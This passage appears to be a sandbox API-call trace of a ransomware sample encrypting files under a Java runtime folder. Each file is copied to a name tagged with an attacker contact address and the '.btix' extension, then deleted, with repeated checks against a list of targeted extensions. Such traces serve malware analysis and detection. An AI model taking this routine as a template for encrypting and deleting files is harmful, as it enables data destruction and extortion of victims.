lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.059] SetEndOfFile (hFile=0x35c) returned 1 [0152.060] CloseHandle (hObject=0x35c) returned 1 [0152.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.060] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 1 [0152.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0152.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0152.061] lstrlenW (lpString=".doc") returned 4 [0152.061] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0152.061] lstrlenW (lpString=".docx") returned 5 [0152.061] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0152.061] lstrlenW (lpString=".pdf") returned 4 [0152.061] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0152.061] lstrlenW (lpString=".xls") returned 4 [0152.061] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0152.061] lstrlenW (lpString=".xlsx") returned 5 [0152.061] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0152.061] lstrlenW (lpString=".ppt") returned 4 [0152.061] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0152.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0152.061] lstrlenW (lpString=".zip") returned 4 [0152.061] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0152.061] lstrlenW (lpString=".rar") returned 4 [0152.061] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0152.061] lstrlenW (lpString=".bz2") returned 4 [0152.061] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0152.061] lstrlenW (lpString=".7z") returned 3 [0152.061] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0152.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0152.061] lstrlenW (lpString=".dbf") returned 4 [0152.061] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0152.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0152.061] lstrlenW (lpString=".1cd") returned 4 [0152.061] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0152.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0152.062] lstrlenW (lpString=".jpg") returned 4 [0152.062] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0152.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0152.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0152.062] lstrlenW (lpString=".doc") returned 4 [0152.062] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0152.062] lstrlenW (lpString=".docx") returned 5 [0152.062] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0152.062] lstrlenW (lpString=".pdf") returned 4 [0152.062] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0152.062] lstrlenW (lpString=".xls") returned 4 [0152.062] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0152.062] lstrlenW (lpString=".xlsx") returned 5 [0152.062] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0152.062] lstrlenW (lpString=".ppt") returned 4 [0152.062] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0152.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0152.062] lstrlenW (lpString=".zip") returned 4 [0152.062] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0152.062] lstrlenW (lpString=".rar") returned 4 [0152.062] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0152.062] lstrlenW (lpString=".bz2") returned 4 [0152.062] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0152.062] lstrlenW (lpString=".7z") returned 3 [0152.062] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0152.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0152.062] lstrlenW (lpString=".dbf") returned 4 [0152.063] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0152.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0152.063] lstrlenW (lpString=".1cd") returned 4 [0152.063] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0152.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0152.063] lstrlenW (lpString=".jpg") returned 4 [0152.063] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0152.063] lstrcmpiW (lpString1=".pf", lpString2=".btix") returned 1 [0152.063] lstrlenW (lpString="PYCC.pf") returned 7 [0152.063] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0152.063] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=274474) returned 1 [0152.063] CloseHandle (hObject=0x35c) returned 1 [0152.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20 [0152.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.063] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0152.064] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.064] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.064] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0152.064] GetLastError () returned 0x0 [0152.064] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x4302a, lpOverlapped=0x0) returned 1 [0152.069] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x43030, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x43030, lpOverlapped=0x0) returned 1 [0152.073] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.073] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xe2, lpOverlapped=0x0) returned 1 [0152.074] SetEndOfFile (hFile=0x394) returned 1 [0152.074] CloseHandle (hObject=0x394) returned 1 [0152.074] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.074] SetEndOfFile (hFile=0x35c) returned 1 [0152.076] CloseHandle (hObject=0x35c) returned 1 [0152.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.077] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 1 [0152.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0152.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0152.077] lstrlenW (lpString=".doc") returned 4 [0152.077] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0152.077] lstrlenW (lpString=".docx") returned 5 [0152.077] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0152.077] lstrlenW (lpString=".pdf") returned 4 [0152.077] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0152.077] lstrlenW (lpString=".xls") returned 4 [0152.077] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0152.077] lstrlenW (lpString=".xlsx") returned 5 [0152.077] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0152.077] lstrlenW (lpString=".ppt") returned 4 [0152.077] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0152.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0152.078] lstrlenW (lpString=".zip") returned 4 [0152.078] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0152.078] lstrlenW (lpString=".rar") returned 4 [0152.078] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0152.078] lstrlenW (lpString=".bz2") returned 4 [0152.078] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0152.078] lstrlenW (lpString=".7z") returned 3 [0152.078] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0152.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0152.078] lstrlenW (lpString=".dbf") returned 4 [0152.078] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0152.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0152.078] lstrlenW (lpString=".1cd") returned 4 [0152.078] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0152.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0152.078] lstrlenW (lpString=".jpg") returned 4 [0152.078] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0152.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0152.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0152.078] lstrlenW (lpString=".doc") returned 4 [0152.078] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0152.078] lstrlenW (lpString=".docx") returned 5 [0152.078] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0152.078] lstrlenW (lpString=".pdf") returned 4 [0152.078] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0152.078] lstrlenW (lpString=".xls") returned 4 [0152.078] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0152.078] lstrlenW (lpString=".xlsx") returned 5 [0152.078] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0152.078] lstrlenW (lpString=".ppt") returned 4 [0152.078] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0152.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0152.079] lstrlenW (lpString=".zip") returned 4 [0152.079] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0152.079] lstrlenW (lpString=".rar") returned 4 [0152.079] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0152.079] lstrlenW (lpString=".bz2") returned 4 [0152.079] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0152.079] lstrlenW (lpString=".7z") returned 3 [0152.079] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0152.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0152.079] lstrlenW (lpString=".dbf") returned 4 [0152.079] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0152.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0152.079] lstrlenW (lpString=".1cd") returned 4 [0152.079] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0152.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0152.079] lstrlenW (lpString=".jpg") returned 4 [0152.079] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0152.079] lstrcmpiW (lpString1=".pf", lpString2=".btix") returned 1 [0152.079] lstrlenW (lpString="sRGB.pf") returned 7 [0152.079] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0152.079] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=3144) returned 1 [0152.079] CloseHandle (hObject=0x35c) returned 1 [0152.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20 [0152.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.080] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0152.080] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.080] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.080] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0152.080] GetLastError () returned 0x0 [0152.080] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0xc48, lpOverlapped=0x0) returned 1 [0152.313] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xc50, lpOverlapped=0x0) returned 1 [0152.314] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.314] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xe2, lpOverlapped=0x0) returned 1 [0152.314] SetEndOfFile (hFile=0x394) returned 1 [0152.315] CloseHandle (hObject=0x394) returned 1 [0152.315] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.315] SetEndOfFile (hFile=0x35c) returned 1 [0152.315] CloseHandle (hObject=0x35c) returned 1 [0152.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.316] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 1 [0152.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0152.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0152.316] lstrlenW (lpString=".doc") returned 4 [0152.316] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0152.316] lstrlenW (lpString=".docx") returned 5 [0152.316] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0152.316] lstrlenW (lpString=".pdf") returned 4 [0152.316] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0152.316] lstrlenW (lpString=".xls") returned 4 [0152.316] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0152.316] lstrlenW (lpString=".xlsx") returned 5 [0152.316] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0152.316] lstrlenW (lpString=".ppt") returned 4 [0152.316] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0152.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0152.316] lstrlenW (lpString=".zip") returned 4 [0152.316] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0152.316] lstrlenW (lpString=".rar") returned 4 [0152.316] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0152.316] lstrlenW (lpString=".bz2") returned 4 [0152.316] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0152.316] lstrlenW (lpString=".7z") returned 3 [0152.316] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0152.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0152.317] lstrlenW (lpString=".dbf") returned 4 [0152.317] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0152.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0152.317] lstrlenW (lpString=".1cd") returned 4 [0152.317] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0152.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0152.317] lstrlenW (lpString=".jpg") returned 4 [0152.317] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0152.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0152.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0152.317] lstrlenW (lpString=".doc") returned 4 [0152.317] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0152.317] lstrlenW (lpString=".docx") returned 5 [0152.317] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0152.317] lstrlenW (lpString=".pdf") returned 4 [0152.317] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0152.317] lstrlenW (lpString=".xls") returned 4 [0152.317] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0152.317] lstrlenW (lpString=".xlsx") returned 5 [0152.317] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0152.317] lstrlenW (lpString=".ppt") returned 4 [0152.317] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0152.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0152.317] lstrlenW (lpString=".zip") returned 4 [0152.317] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0152.317] lstrlenW (lpString=".rar") returned 4 [0152.317] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0152.317] lstrlenW (lpString=".bz2") returned 4 [0152.317] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0152.317] lstrlenW (lpString=".7z") returned 3 [0152.317] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0152.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0152.317] lstrlenW (lpString=".dbf") returned 4 [0152.317] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0152.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0152.318] lstrlenW (lpString=".1cd") returned 4 [0152.318] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0152.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0152.318] lstrlenW (lpString=".jpg") returned 4 [0152.318] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0152.318] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0152.318] lstrlenW (lpString="messages_sv.properties") returned 22 [0152.318] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0152.318] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=3409) returned 1 [0152.318] CloseHandle (hObject=0x35c) returned 1 [0152.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20 [0152.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.318] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0152.318] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.318] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.319] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0152.319] GetLastError () returned 0x0 [0152.319] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0xd51, lpOverlapped=0x0) returned 1 [0152.320] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xd60, lpOverlapped=0x0) returned 1 [0152.321] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.321] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x100, lpOverlapped=0x0) returned 1 [0152.321] SetEndOfFile (hFile=0x394) returned 1 [0152.321] CloseHandle (hObject=0x394) returned 1 [0152.321] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.321] SetEndOfFile (hFile=0x35c) returned 1 [0152.322] CloseHandle (hObject=0x35c) returned 1 [0152.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.322] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 1 [0152.322] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0152.322] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0152.322] lstrlenW (lpString=".doc") returned 4 [0152.322] lstrcmpiW 